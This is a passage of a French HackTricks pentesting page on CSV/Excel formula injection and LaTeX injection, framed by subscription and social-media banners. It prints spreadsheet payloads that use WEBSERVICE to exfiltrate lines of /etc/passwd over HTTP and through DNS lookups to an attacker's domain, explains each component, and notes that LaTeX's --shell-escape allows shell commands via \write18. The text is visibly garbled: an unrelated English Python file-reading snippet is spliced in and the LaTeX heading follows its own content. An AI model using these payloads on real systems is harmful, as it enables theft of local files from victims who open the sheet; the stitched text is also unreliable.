* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si votre **entrée** est **réfléchie** dans des **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pouvez peut-être mettre des **formules Excel** qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
De nos jours, **Excel alertera** (plusieurs fois) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher de réaliser des actions malveillantes. Par conséquent, des efforts particuliers en matière d'ingénierie sociale doivent être appliqués à la charge utile finale.
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
Prenons un scénario d'attaque du système de gestion des dossiers d'étudiants d'une école. L'application permet aux enseignants d'entrer les détails des étudiants de l'école. L'attaquant a accès à l'application et souhaite compromettre tous les enseignants utilisant l'application. L'attaquant tente donc de mener une attaque d'injection CSV via l'application web.\
L'attaquant souhaite voler les détails d'autres étudiants. Il utilise donc la formule d'hyperlien et l'entre lors de la saisie des détails de l'étudiant.
Pour que cet exemple fonctionne, il est **nécessaire d'activer la configuration suivante** :\
Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe → Activer le lancement du serveur d'échange de données dynamiques\
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Exfiltration DNS : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
*‘file:///etc/passwd’#$passwd.A19 - Lira la 19e ligne du fichier local /etc/passwd
* ENCODEURL('file:///etc/passwd'#$passwd.A19) - Encode l'URL des données renvoyées
* MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41) - Similaire à une sous-chaîne, lit les données du 1er caractère au 41e - une manière très pratique de limiter la longueur des noms d'hôtes DNS (limite de 254 caractères pour un FQDN et 63 caractères pour un label, c'est-à-dire un sous-domaine)
* SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-") - remplace toutes les occurrences de % (le caractère spécial de l'encodage d'URL) par un tiret - cela garantit que seuls des caractères DNS valides sont utilisés
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".\<FQDN>") - Concatène la sortie du fichier (après le traitement ci-dessus) avec le FQDN (pour lequel nous avons accès à l'hôte qui est autoritaire pour le domaine)
* WEBSERVICE - Fera une demande pour ce nom DNS inexistant que nous pouvons ensuite analyser les journaux (ou exécuter tcpdump, etc.) sur le serveur de noms autoritaire DNS dont nous avons le contrôle
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble de **commandes prédéfinies** considérées comme 'sûres' (\*\*Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement désactivée pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, il est donc très important d'utiliser `--shell-restricted` pour éviter l'exécution de code à distance (RCE).
To read a file that contains multiple lines, you can use the following code:
```python
with open('filename.txt', 'r') as file:
lines = file.readlines()
for line in lines:
print(line)
```
This code opens the file named `filename.txt` in read mode (`'r'`) and uses the `readlines()` method to read all the lines in the file. It then iterates over each line and prints it.
Replace `'filename.txt'` with the actual name of the file you want to read.
### Injection de code LaTeX dans les formulaires <a href="#injection-de-code-latex-dans-les-formulaires" id="injection-de-code-latex-dans-les-formulaires"></a>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).